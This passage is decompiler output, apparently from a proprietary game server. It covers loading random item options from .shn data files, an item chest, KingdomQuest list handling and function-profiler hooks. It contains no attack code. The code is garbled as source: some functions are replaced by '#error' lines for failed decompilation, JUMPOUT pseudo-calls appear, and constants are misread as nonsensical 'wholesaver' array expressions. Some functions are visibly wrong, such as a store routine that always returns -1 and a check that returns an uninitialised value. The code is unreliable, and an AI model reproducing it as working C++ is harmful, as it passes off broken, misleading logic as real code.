!= _Last; ++i ) ItemRandomOption::RandomOptionList::_RandomOptionList(i); } //----- (00481D80) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, ItemRandomOption::RandomOptionList *_Val) { std::vector > *v4; // esi@1 ItemRandomOption::RandomOptionList *v5; // ecx@1 int v6; // edx@1 int v7; // eax@2 int v8; // edx@10 int v9; // eax@14 int v10; // edx@17 int v11; // eax@21 void *v12; // ebx@24 ItemRandomOption::RandomOptionList *v13; // eax@24 ItemRandomOption::RandomOptionList *v14; // ST20_4@24 ItemRandomOption::RandomOptionList *v15; // ecx@24 int v16; // eax@25 unsigned int v17; // edi@27 ItemRandomOption::RandomOptionList *v18; // eax@30 int v19; // ecx@30 unsigned int v20; // ST28_4@31 ItemRandomOption::RandomOptionList *v21; // ST24_4@31 char *v22; // eax@31 char *v23; // edi@31 ItemRandomOption::RandomOptionList *v24; // edi@32 ItemRandomOption::RandomOptionList *v25; // eax@32 std::_Nonscalar_ptr_iterator_tag v26; // ST18_1@32 int v27; // [sp+0h] [bp-70h]@1 int v28; // [sp+Ch] [bp-64h]@24 std::vector > *cookie; // [sp+10h] [bp-60h]@1 char *_Ptr; // [sp+14h] [bp-5Ch]@24 void *_Newvec; // [sp+18h] [bp-58h]@24 char _Tmp; // [sp+1Ch] [bp-54h]@1 void *p; // [sp+40h] [bp-30h]@33 char v34; // [sp+4Ch] [bp-24h]@33 unsigned int v35; // [sp+5Ch] [bp-14h]@1 int *v36; // [sp+60h] [bp-10h]@1 int v37; // [sp+6Ch] [bp-4h]@1 int v38; // [sp+70h] [bp+0h]@1 v35 = (unsigned int)&v38 ^ __security_cookie; v4 = this; v36 = &v27; cookie = this; ItemRandomOption::RandomOptionList::RandomOptionList((ItemRandomOption::RandomOptionList *)&_Tmp, _Val); v5 = v4->_Myfirst; v6 = 0; v37 = 0; if ( v5 ) v7 = v4->_Myend - v5; else v7 = 0; if ( _Count ) { if ( v5 ) v6 = v4->_Mylast - v5; if ( (unsigned int)&wholesaver.ws_savestore[688].esc_abstate.buffer[-v6 + 11071] < _Count ) std::vector>::_Xlen((std::vector > *)v4); if ( v5 ) v8 = v4->_Mylast - v5; else v8 = 0; if ( v7 >= _Count + v8 ) { v18 = v4->_Mylast; v19 = (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) >> 6; _Newvec = v4->_Mylast; if ( v19 >= _Count ) { v24 = &v18[-_Count]; _Ptr = (char *)(_Count << 6); v25 = std::_Uninit_copy>( &v18[-_Count], v18, v18, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Newvec); v26.dummy[0] = (char)_Newvec; v4->_Mylast = v25; std::_Copy_backward_opt( *(ItemRandomOption::RandomOptionList **)&_Where, v24, (ItemRandomOption::RandomOptionList *)_Newvec, v26); std::fill( *(ItemRandomOption::RandomOptionList **)&_Where, (ItemRandomOption::RandomOptionList *)&_Ptr[*(_DWORD *)&_Where], (ItemRandomOption::RandomOptionList *)&_Tmp); } else { _Ptr = (char *)(_Count << 6); std::_Uninit_copy>( *(ItemRandomOption::RandomOptionList **)&_Where, v18, (ItemRandomOption::RandomOptionList *)(*(_DWORD *)&_Where + (_Count << 6)), &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Newvec); v20 = _Count - ((signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) >> 6); v21 = v4->_Mylast; LOBYTE(v37) = 3; std::vector>::_Ufill( v4, v21, v20, (ItemRandomOption::RandomOptionList *)&_Tmp); v22 = _Ptr; v23 = &_Ptr[(unsigned int)v4->_Mylast]; v4->_Mylast = (ItemRandomOption::RandomOptionList *)v23; v37 = 0; std::fill( *(ItemRandomOption::RandomOptionList **)&_Where, (ItemRandomOption::RandomOptionList *)(v23 - v22), (ItemRandomOption::RandomOptionList *)&_Tmp); } } else { if ( (unsigned int)&wholesaver.ws_savestore[688].esc_abstate.buffer[-((unsigned int)v7 >> 1) + 11071] >= v7 ) v9 = ((unsigned int)v7 >> 1) + v7; else v9 = 0; if ( v5 ) v10 = v4->_Mylast - v5; else v10 = 0; if ( v9 < _Count + v10 ) { if ( v5 ) v11 = v4->_Mylast - v5; else v11 = 0; v9 = _Count + v11; } v28 = v9 << 6; v12 = operator new(v9 << 6); v13 = v4->_Myfirst; _Newvec = v12; _Ptr = (char *)v12; LOBYTE(v37) = 1; _Ptr = (char *)std::_Uninit_copy>( v13, *(ItemRandomOption::RandomOptionList **)&_Where, (ItemRandomOption::RandomOptionList *)v12, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)v12); std::_Uninit_fill_n>( (ItemRandomOption::RandomOptionList *)_Ptr, _Count, (ItemRandomOption::RandomOptionList *)&_Tmp, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Newvec); v14 = v4->_Mylast; _Ptr += 64 * _Count; std::_Uninit_copy>( *(ItemRandomOption::RandomOptionList **)&_Where, v14, (ItemRandomOption::RandomOptionList *)_Ptr, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Newvec); v15 = v4->_Myfirst; if ( v15 ) v16 = v4->_Mylast - v15; else v16 = 0; v17 = v16 + _Count; if ( v15 ) { std::vector>::_Destroy( v4, v15, v4->_Mylast); operator delete(v4->_Myfirst); } v4->_Myend = (ItemRandomOption::RandomOptionList *)((char *)v12 + v28); v4->_Mylast = (ItemRandomOption::RandomOptionList *)((char *)v12 + 64 * v17); v4->_Myfirst = (ItemRandomOption::RandomOptionList *)v12; } } std::vector>::_Tidy((std::vector > *)&v34); if ( p ) operator delete(p); } //----- (00482040) -------------------------------------------------------- void __thiscall std::vector>::_Tidy(std::vector > *this) { std::vector > *v1; // ebx@1 ItemRandomOption::RandomOptionList *v2; // esi@1 ItemRandomOption::RandomOptionList *i; // edi@2 v1 = this; v2 = this->_Myfirst; if ( v2 ) { for ( i = this->_Mylast; v2 != i; ++v2 ) ItemRandomOption::RandomOptionList::_RandomOptionList(v2); operator delete(v1->_Myfirst); } v1->_Myfirst = 0; v1->_Mylast = 0; v1->_Myend = 0; } //----- (00482090) -------------------------------------------------------- void __thiscall NPCAction::Manager::Manager(AbnormalStateShelter::AbstateShelter *this) { this->as_Safe._Myfirst = 0; this->as_Safe._Mylast = 0; this->as_Safe._Myend = 0; } //----- (004820B0) -------------------------------------------------------- void __thiscall ItemRandomOption::RandomOptionTable::rot_Load(ItemRandomOption::RandomOptionTable *this, Name4 *world) { ItemRandomOption::RandomOptionTable *v2; // esi@1 unsigned int v3; // eax@1 const char *v4; // eax@5 ItemRandomOption::RandomOptionList *v5; // edi@7 ItemRandomOption::RandomOptionList *v6; // eax@8 int v7; // edx@9 ItemRandomOption::RandomOptionList *v8; // edi@13 ItemRandomOption::RandomOptionList *v9; // eax@15 void *v10; // ecx@15 char *v11; // esi@17 void *v12; // eax@20 int v13; // edx@28 int v14; // esi@28 ItemRandomOption::OptionCountTable *v15; // ecx@28 int v16; // edx@29 SHINE_XY_TYPE *v17; // edi@33 unsigned int v18; // eax@36 void *v19; // edi@40 ItemRandomOption::RandomOptionList *v20; // eax@42 ItemRandomOption::OptionTable *v21; // eax@45 int v22; // edx@48 ItemRandomOption::RandomOptionList *i; // esi@49 ItemRandomOption::OptionCountTable *v24; // eax@50 ItemRandomOption::OptionCountTable *v25; // edx@50 int j; // ecx@50 int v27; // edi@51 int v28; // edx@52 ItemRandomOption::OptionTable *l; // edi@55 ItemRandomOption::ValueList *v30; // eax@56 ItemRandomOption::ValueList *v31; // edx@56 int m; // ecx@56 int v33; // edx@58 signed int fnd; // [sp+Ch] [bp-144h]@1 unsigned int k; // [sp+10h] [bp-140h]@1 unsigned int ka; // [sp+10h] [bp-140h]@36 const char *roc; // [sp+14h] [bp-13Ch]@7 signed int roca; // [sp+14h] [bp-13Ch]@36 ItemRandomOption::RandomOptionTable *v39; // [sp+18h] [bp-138h]@1 int vl; // [sp+1Ch] [bp-134h]@28 int v41; // [sp+20h] [bp-130h]@28 int v42; // [sp+24h] [bp-12Ch]@48 char idx[4]; // [sp+28h] [bp-128h]@7 int v44; // [sp+2Ch] [bp-124h]@7 int v45; // [sp+30h] [bp-120h]@7 int v46; // [sp+34h] [bp-11Ch]@7 int v47; // [sp+38h] [bp-118h]@7 int v48; // [sp+3Ch] [bp-114h]@7 int v49; // [sp+40h] [bp-110h]@7 int v50; // [sp+44h] [bp-10Ch]@7 char rndopt; // [sp+48h] [bp-108h]@1 int v52; // [sp+78h] [bp-D8h]@1 char v53[4]; // [sp+84h] [bp-CCh]@1 int v54; // [sp+88h] [bp-C8h]@1 int v55; // [sp+8Ch] [bp-C4h]@1 int v56; // [sp+90h] [bp-C0h]@1 int v57; // [sp+94h] [bp-BCh]@1 int v58; // [sp+98h] [bp-B8h]@1 int v59; // [sp+9Ch] [bp-B4h]@1 int v60; // [sp+A0h] [bp-B0h]@1 int v61; // [sp+A4h] [bp-ACh]@1 char v62; // [sp+A8h] [bp-A8h]@1 char v63; // [sp+B4h] [bp-9Ch]@36 int buffer; // [sp+B8h] [bp-98h]@8 int v65; // [sp+BCh] [bp-94h]@8 int v66; // [sp+C0h] [bp-90h]@8 int v67; // [sp+C4h] [bp-8Ch]@8 int v68; // [sp+C8h] [bp-88h]@8 int v69; // [sp+CCh] [bp-84h]@8 int v70; // [sp+D0h] [bp-80h]@8 int v71; // [sp+D4h] [bp-7Ch]@8 char v72; // [sp+D8h] [bp-78h]@52 void *v73; // [sp+DCh] [bp-74h]@8 int v74; // [sp+E0h] [bp-70h]@8 int v75; // [sp+E4h] [bp-6Ch]@8 void *p; // [sp+ECh] [bp-64h]@8 void *v77; // [sp+F0h] [bp-60h]@8 int v78; // [sp+F4h] [bp-5Ch]@8 unsigned int v79; // [sp+13Ch] [bp-14h]@1 int v80; // [sp+14Ch] [bp-4h]@1 int v81; // [sp+150h] [bp+0h]@1 v2 = this; v79 = (unsigned int)&v81 ^ __security_cookie; v39 = this; CCharacterTitleData::CCharacterTitleData((BinaryData *)&rndopt); *(_DWORD *)v53 = 0; v54 = 0; v55 = 0; v56 = 0; v57 = 0; v58 = 0; v59 = 0; v60 = 0; v61 = 0; v62 = 0; v80 = 0; BinaryDataBox::bdb_ReadData( (BinaryDataBox *)&rndopt, "../9Data/Hero/RandomOptionCount.shn"); v3 = 0; fnd = *(_DWORD *)(v52 + 40); k = 0; if ( *(_DWORD *)(v52 + 40) > 0 ) { while ( 1 ) { if ( v3 < *(_DWORD *)(v52 + 40) ) v4 = (const char *)CDataReader::GetRecord((CDataReader *)&rndopt, v3); else v4 = v53; roc = v4; v50 = 0; v49 = 0; v48 = 0; v47 = 0; v46 = 0; v45 = 0; v44 = 0; *(_DWORD *)idx = 0; strncpy(idx, v4, 0x20u); v5 = ItemRandomOption::RandomOptionTable::rot_Find(v2, (Name8 *)idx); if ( !v5 ) { v73 = 0; v74 = 0; v75 = 0; p = 0; v77 = 0; v78 = 0; v66 = v45; buffer = *(_DWORD *)idx; v65 = v44; v69 = v48; v6 = v2->rot_OptionList._Myfirst; v67 = v46; v68 = v47; LOBYTE(v80) = 2; v70 = v49; v71 = v50; if ( v6 ) v7 = v2->rot_OptionList._Mylast - v6; else v7 = 0; if ( v6 && v7 < v2->rot_OptionList._Myend - v6 ) { v8 = v2->rot_OptionList._Mylast; std::_Uninit_fill_n>( v2->rot_OptionList._Mylast, 1u, (ItemRandomOption::RandomOptionList *)&buffer, &v2->rot_OptionList.baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)fnd); v2->rot_OptionList._Mylast = v8 + 1; } else { std::vector>::_Insert_n( &v2->rot_OptionList, (std::vector >::iterator)v2->rot_OptionList._Mylast, 1u, (ItemRandomOption::RandomOptionList *)&buffer); } v9 = ItemRandomOption::RandomOptionTable::rot_Find(v2, (Name8 *)idx); v10 = p; v5 = v9; LOBYTE(v80) = 0; if ( p ) { if ( p != v77 ) { v11 = (char *)p + 8; do { if ( *(_DWORD *)v11 ) { operator delete(*(void **)v11); v10 = p; } v12 = v77; *(_DWORD *)v11 = 0; *((_DWORD *)v11 + 1) = 0; *((_DWORD *)v11 + 2) = 0; v11 += 20; } while ( v11 - 8 != v12 ); } operator delete(v10); } p = 0; v77 = 0; v78 = 0; if ( v73 ) operator delete(v73); v73 = 0; v74 = 0; v75 = 0; } if ( v5 == 0 ) { AssertClass::ac_AssertFail( &shineassert, "ItemRandomOption::RandomOptionTable::rot_Load : Not appended in list", 0); ShineExit("ItemRandomOption::RandomOptionTable::rot_Load"); } v13 = *(_WORD *)(roc + 35); v14 = (int)&v5->rol_Count; vl = *(_WORD *)(roc + 33); v15 = v5->rol_Count._Myfirst; v41 = v13; v16 = v15 ? v5->rol_Count._Mylast - v15 : 0; if ( v15 && v16 < v5->rol_Count._Myend - v15 ) { v17 = (SHINE_XY_TYPE *)v5->rol_Count._Mylast; std::_Uninit_fill_n>( v17, 1u, (SHINE_XY_TYPE *)&vl, (std::allocator *)v14, (std::_Nonscalar_ptr_iterator_tag)fnd); *(_DWORD *)(v14 + 8) = v17 + 1; } else { std::vector>::_Insert_n( &v5->rol_Count, (std::vector >::iterator)v5->rol_Count._Mylast, 1u, (ItemRandomOption::OptionCountTable *)&vl); } v2 = v39; ++k; if ( (signed int)k >= fnd ) break; v3 = k; } } v80 = -1; CCharacterTitleData::_CCharacterTitleData((BinaryData *)&rndopt); CCharacterTitleData::CCharacterTitleData((BinaryData *)&rndopt); memset(v53, 0, 0x30u); v63 = 0; v80 = 3; BinaryDataBox::bdb_ReadData((BinaryDataBox *)&rndopt, "../9Data/Hero/RandomOption.shn"); v18 = 0; roca = *(_DWORD *)(v52 + 40); ka = 0; if ( *(_DWORD *)(v52 + 40) > 0 ) { while ( 1 ) { if ( v18 < *(_DWORD *)(v52 + 40) ) v19 = CDataReader::GetRecord((CDataReader *)&rndopt, v18); else v19 = v53; v50 = 0; v49 = 0; v48 = 0; v47 = 0; v46 = 0; v45 = 0; v44 = 0; *(_DWORD *)idx = 0; strncpy(idx, (const char *)v19, 0x20u); v20 = ItemRandomOption::RandomOptionTable::rot_Find(v2, (Name8 *)idx); if ( v20 == 0 ) { AssertClass::ac_AssertFail( &shineassert, "ItemRandomOption::RandomOptionTable::rot_Load : RandomOptionIndex out of CountList", 0); ShineExit("ItemRandomOption::RandomOptionTable::rot_Load"); } v21 = ItemRandomOption::RandomOptionList::rol_FindOption(v20, *(RandomOptionType *)((char *)v19 + 33)); if ( v21 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "ItemRandomOption::RandomOptionTable::rot_Load : Null RandomOption", 0); ShineExit("ItemRandomOption::RandomOptionTable::rot_Load"); } v22 = *(_DWORD *)((char *)v19 + 41); vl = *(_DWORD *)((char *)v19 + 37); v41 = v22; v42 = *(_DWORD *)((char *)v19 + 45); std::vector>::push_back( &v21->ot_ValueList, (ItemRandomOption::ValueList *)&vl); ++ka; if ( (signed int)ka >= roca ) break; v18 = ka; } } v80 = -1; CCharacterTitleData::_CCharacterTitleData((BinaryData *)&rndopt); for ( i = v2->rot_OptionList._Myfirst; i != v39->rot_OptionList._Mylast; ++i ) { v24 = i->rol_Count._Myfirst; v25 = i->rol_Count._Mylast; for ( j = 0; v24 != v25; j += v27 ) { v27 = v24->oct_Rate; ++v24; } v28 = *(_DWORD *)&i->rol_Index.n8_name[4]; buffer = *(_DWORD *)&i->rol_Index.n8_name[0]; v66 = *(_DWORD *)&i->rol_Index.n8_name[8]; v68 = *(_DWORD *)&i->rol_Index.n8_name[16]; v70 = *(_DWORD *)&i->rol_Index.n8_name[24]; v65 = v28; v67 = *(_DWORD *)&i->rol_Index.n8_name[12]; v69 = *(_DWORD *)&i->rol_Index.n8_name[20]; v71 = *(_DWORD *)&i->rol_Index.n8_name[28]; v72 = 0; if ( j != 1000 ) { AssertClass::ac_AssertFail( &shineassert, "ItemRandomOption::RandomOptionTable::rot_Load : Count not 1000", (const char *)&buffer); ShineExit("ItemRandomOption::RandomOptionTable::rot_Load"); } for ( l = i->rol_Option._Myfirst; l != i->rol_Option._Mylast; ++l ) { v30 = l->ot_ValueList._Myfirst; v31 = l->ot_ValueList._Mylast; for ( m = 0; v30 != v31; ++v30 ) m += v30->vl_Rate; v33 = *(_DWORD *)&i->rol_Index.n8_name[0]; v65 = *(_DWORD *)&i->rol_Index.n8_name[4]; v67 = *(_DWORD *)&i->rol_Index.n8_name[12]; v69 = *(_DWORD *)&i->rol_Index.n8_name[20]; v71 = *(_DWORD *)&i->rol_Index.n8_name[28]; buffer = v33; v66 = *(_DWORD *)&i->rol_Index.n8_name[8]; v68 = *(_DWORD *)&i->rol_Index.n8_name[16]; v70 = *(_DWORD *)&i->rol_Index.n8_name[24]; v72 = 0; if ( m != 1000 ) { AssertClass::ac_AssertFail( &shineassert, "ItemRandomOption::RandomOptionTable::rot_Load : Option not 1000", (const char *)&buffer); ShineExit("ItemRandomOption::RandomOptionTable::rot_Load"); } } } } //----- (00482740) -------------------------------------------------------- void __thiscall ItemsInChest::ItemsInChest(ItemsInChest *this) { ItemsInChest *v1; // edx@1 signed int v2; // esi@1 this->iic_Pointer.mask = 8191; this->iic_Pointer.value = 0; v1 = this; v2 = 8192; do { *(_DWORD *)&v1->iic_ItemList[0].iti_registnum.binary.gap0[0] = -1; v1->iic_ItemList[0].iti_registnum.binary._bf4 = -1; v1 = (ItemsInChest *)((char *)v1 + 111); --v2; } while ( v2 ); } //----- (00482770) -------------------------------------------------------- unsigned __int16 __thiscall ItemsInChest::iic_StoreItem(ItemsInChest *this, ItemTotalInformation *buf) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ItemsInChest::iic_SearchItem"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ItemsInChest::iic_SearchItem"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ItemsInChest::iic_SearchItem"); return -1; } //----- (004827F0) -------------------------------------------------------- void __thiscall GameDBSession::gds_NC_ITEMDB_ITEMTOTALINFORM_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len) { unsigned __int16 v3; // ax@3 const char *v4; // [sp-8h] [bp-18h]@2 int v5; // [sp-4h] [bp-14h]@2 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "GameDBSession::gds_NC_ITEMDB_ITEMTOTALINFORM_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GameDBSession::gds_NC_ITEMDB_ITEMTOTALINFORM_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (*(_DWORD *)&netcmd[3].protocol & *(_DWORD *)&netcmd[1].protocol) == -1 ) { v5 = 0; v4 = "GameDBSession::gds_NC_ITEMDB_ITEMINFORM_INBOX_ACK : Invalid item"; LABEL_5: AssertClass::ac_AssertFail(&shineassert, v4, v5); goto LABEL_6; } v3 = ItemsInChest::iic_StoreItem(&itemsinchest, (ItemTotalInformation *)&netcmd[1]); if ( v3 == -1 ) { v5 = v3 != -1; v4 = "GameDBSession::gds_NC_ITEMDB_ITEMINFORM_INBOX_ACK : store fail"; goto LABEL_5; } LABEL_6: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "GameDBSession::gds_NC_ITEMDB_ITEMTOTALINFORM_ACK"); } //----- (004828D0) -------------------------------------------------------- int __thiscall PROTO_KQ_MAP_INFO::operator_(int this, int a2) { int result; // eax@1 result = this; *(_BYTE *)this = *(_BYTE *)a2; *(_DWORD *)(this + 1) = *(_DWORD *)(a2 + 1); *(_DWORD *)(this + 5) = *(_DWORD *)(a2 + 5); *(_DWORD *)(this + 9) = *(_DWORD *)(a2 + 9); *(_DWORD *)(this + 13) = *(_DWORD *)(a2 + 13); *(_DWORD *)(this + 17) = *(_DWORD *)(a2 + 17); *(_DWORD *)(this + 21) = *(_DWORD *)(a2 + 21); *(_BYTE *)(this + 25) = *(_BYTE *)(a2 + 25); return result; } //----- (00482910) -------------------------------------------------------- int __thiscall PROTO_KQ_INFO::operator_(int this, int a2) { int result; // eax@1 int v3; // esi@1 int v4; // ecx@1 int v5; // edi@1 signed int v6; // ebp@1 int v7; // ecx@3 signed int v8; // esi@3 int v9; // ecx@5 signed int v10; // esi@5 result = this; memcpy((void *)this, (const void *)a2, 0x77u); memcpy((void *)(this + 119), (const void *)(a2 + 119), 0x25u); v3 = a2 + 173; v4 = this + 161; v5 = a2 - result; v6 = 4; do { *(_BYTE *)(v4 - 5) = *(_BYTE *)(v3 - 17); *(_DWORD *)(v4 - 4) = *(_DWORD *)(v3 - 16); *(_DWORD *)v4 = *(_DWORD *)(v5 + v4); *(_DWORD *)(v4 + 4) = *(_DWORD *)(v3 - 8); *(_DWORD *)(v4 + 8) = *(_DWORD *)(v3 - 4); *(_DWORD *)(v4 + 12) = *(_DWORD *)v3; *(_DWORD *)(v4 + 16) = *(_DWORD *)(v3 + 4); *(_BYTE *)(v4 + 20) = *(_BYTE *)(v3 + 8); v3 += 26; v4 += 26; --v6; } while ( v6 ); v7 = result + 260; v8 = 32; do { *(_BYTE *)v7 = *(_BYTE *)(v7 + v5); ++v7; --v8; } while ( v8 ); v9 = result + 292; v10 = 32; do { *(_BYTE *)v9 = *(_BYTE *)(v9 + v5); ++v9; --v10; } while ( v10 ); return result; } //----- (004829F0) -------------------------------------------------------- void __thiscall KingdomQuestEntrance::KingdomQuestEntrance(KingdomQuestEntrance *this) { this->kqe_Number.mask = 127; this->kqe_Number.value = 0; } //----- (00482A10) -------------------------------------------------------- void __thiscall KingdomQuestEntrance::kqe_entry(KingdomQuestEntrance *this, unsigned __int16 handle) { if ( handle < 0x80u ) ++this->kqe_entrancelist[handle].entrynumber; else AssertClass::ac_AssertFail(&shineassert, "KingdomQuestEntrance::kqe_entry : Subscript over", handle); } //----- (00482A50) -------------------------------------------------------- int __cdecl KingdomQuestEntrance::kqe_Compare(const void *a, const void *b) { return *(_DWORD *)b - *(_DWORD *)a; } //----- (00482A60) -------------------------------------------------------- void __thiscall KingdomQuestGate::KingdomQuestGateKeeper::KingdomQuestGateKeeper(KingdomQuestGate::KingdomQuestGateKeeper *this) { this->baseclass_0.vfptr = (EventReserveBaseVtbl *)&KingdomQuestGate::KingdomQuestGateKeeper::_vftable_; } // 647870: using guessed type int (__fastcall *KingdomQuestGate__KingdomQuestGateKeeper___vftable_)(KingdomQuestGate::KingdomQuestGateKeeper *this); //----- (00482A70) -------------------------------------------------------- #error "482A70: undefined or illegal type '#593' (funcsize=29)" //----- (00482AD0) -------------------------------------------------------- int __thiscall KingdomQuest::KQPlayerInform::regnumcomp(KingdomQuest::KQPlayerInform *this, List *lst, unsigned __int16 hnd, KingdomQuest::KQPlayerInform *key) { return this->kqpi_PlyRegnum - key->kqpi_PlyRegnum; } //----- (00482AE0) -------------------------------------------------------- void __thiscall List::_List(List *this) { void *v1; // ecx@1 this->vfptr = (ListVtbl *)KingdomQuest::KingdomQuestContainer::_vftable_; v1 = this->l_Array; if ( v1 ) operator delete__(v1); } // 647894: using guessed type int (__stdcall *KingdomQuest__KingdomQuestContainer___vftable_[3])(__int16 hnd); //----- (00482B00) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, KingdomQuest::KQPlayerInform *ele) { int v2; // eax@1 void *v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = (void *)((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); memcpy(v3, ele, 0x34u); return 1; } // 482B16: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (00482B40) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, KingdomQuest::KQPlayerInform *ele) { ListStruct *v2; // esi@1 unsigned __int16 v3; // dx@1 int v4; // esi@2 v2 = this->l_Array; v3 = v2[this->l_Finger.store].ls_Next; if ( v3 < this->l_MaxSize ) { v4 = (int)&v2[v3]; if ( !*(_BYTE *)(v4 + 8) ) return 0; memcpy(ele, *(const void **)v4, 0x34u); this->vfptr->l_Free(this, v3); } return 1; } //----- (00482B90) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, KingdomQuest::KQPlayerInform *ele) { ListStruct *v2; // esi@1 unsigned __int16 v3; // dx@1 int v4; // esi@2 v2 = this->l_Array; v3 = v2[this->l_Finger.store].ls_Prev; if ( v3 < this->l_MaxSize ) { v4 = (int)&v2[v3]; if ( !*(_BYTE *)(v4 + 8) ) return 0; memcpy(ele, *(const void **)v4, 0x34u); this->vfptr->l_Free(this, v3); } return 1; } //----- (00482BE0) -------------------------------------------------------- #error "482BE0: undefined or illegal type '#1265' (funcsize=54)" //----- (00482CC0) -------------------------------------------------------- KingdomQuest::KQElement *__thiscall KingdomQuest::KingdomQuestContainer::kqc_SearchHandle(KingdomQuest::KingdomQuestContainer *this, unsigned int handle, unsigned __int16 *lsthnd) { KingdomQuest::KingdomQuestContainer *v3; // esi@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // bx@1 unsigned __int16 v6; // ax@1 unsigned __int16 i; // cx@1 int v8; // edx@3 int v9; // edi@4 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "KingdomQuest::KingdomQuestContainer::kqc_SearchHandle"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "KingdomQuest::KingdomQuestContainer::kqc_SearchHandle"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = v3->baseclass_0.l_Array; v5 = v3->baseclass_0.l_MaxSize; v6 = v4[v3->baseclass_0.l_Finger.store].ls_Next; for ( i = v4[v6].ls_Next; ; i = v3->baseclass_0.l_Array[i].ls_Next ) { if ( v6 < v5 ) { v8 = (int)&v3->baseclass_0.l_Array[v6]; if ( *(_BYTE *)(v8 + 8) ) { v9 = *(_DWORD *)v8; if ( *(_DWORD *)v8 ) { if ( *(_DWORD *)(v9 + 4) == handle ) { *lsthnd = v6; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "KingdomQuest::KingdomQuestContainer::kqc_SearchHandle"); return (KingdomQuest::KQElement *)v9; } } } } if ( i >= v5 ) break; v6 = i; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "KingdomQuest::KingdomQuestContainer::kqc_SearchHandle"); return 0; } //----- (00482DF0) -------------------------------------------------------- #error "482DF0: undefined or illegal type '#1265' (funcsize=61)" //----- (00482EE0) -------------------------------------------------------- char __thiscall KingdomQuest::KingdomQuestContainer::kqc_MapUseCheck(KingdomQuest::KingdomQuestContainer *this, Name3 *map_) { List *v2; // esi@1 int v3; // ecx@1 int v4; // edx@1 char result; // al@1 FunctionEntarance _; // [sp+8h] [bp-24h]@1 int (__stdcall **likqmf)(int, __int16); // [sp+Ch] [bp-20h]@1 int v8; // [sp+10h] [bp-1Ch]@1 int v9; // [sp+14h] [bp-18h]@1 int v10; // [sp+18h] [bp-14h]@1 unsigned int v11; // [sp+1Ch] [bp-10h]@1 int v12; // [sp+28h] [bp-4h]@1 v2 = (List *)this; v11 = (unsigned int)&_ ^ __security_cookie; _.fe_FunctionCode = "KingdomQuest::KingdomQuestContainer::kqc_MapUseCheck"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "KingdomQuest::KingdomQuestContainer::kqc_MapUseCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "KingdomQuest::KingdomQuestContainer::kqc_MapUseCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_DWORD *)&map_->n3_name[4]; v8 = *(_DWORD *)&map_->n3_name[0]; v4 = *(_DWORD *)&map_->n3_name[8]; v12 = 0; likqmf = &ListIteratorKingdomQuestMapFind::_vftable_; v9 = v3; v10 = v4; LOBYTE(v12) = 1; List::l_4AllInList(v2, (ListIteratorDefault *)&likqmf); --funcallanalizer.fca_stackpoint; likqmf = &ListIteratorDefault::_vftable_; v12 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "KingdomQuest::KingdomQuestContainer::kqc_MapUseCheck"); __security_check_cookie((unsigned int)&_ ^ v11); return result; } // 64292C: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); // 64792C: using guessed type int (__stdcall *ListIteratorKingdomQuestMapFind___vftable_)(int ele, __int16 handle); //----- (00482FD0) -------------------------------------------------------- void __thiscall AxialListObjectClear::AxialListObjectClear(AxialListObjectClear *this, unsigned int clearflag) { AxialListObjectClear *v2; // esi@1 v2 = this; AxialListIterator::AxialListIterator(&this->baseclass_0); v2->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListObjectClear::_vftable_; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AxialListObjectClear::AxialListObjectClear"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AxialListObjectClear::AxialListObjectClear"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2->aloc_clearflag = clearflag; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AxialListObjectClear::AxialListObjectClear"); } // 647994: using guessed type int (__stdcall *AxialListObjectClear___vftable_)(int, int, int distancesquar); //----- (00483070) -------------------------------------------------------- void 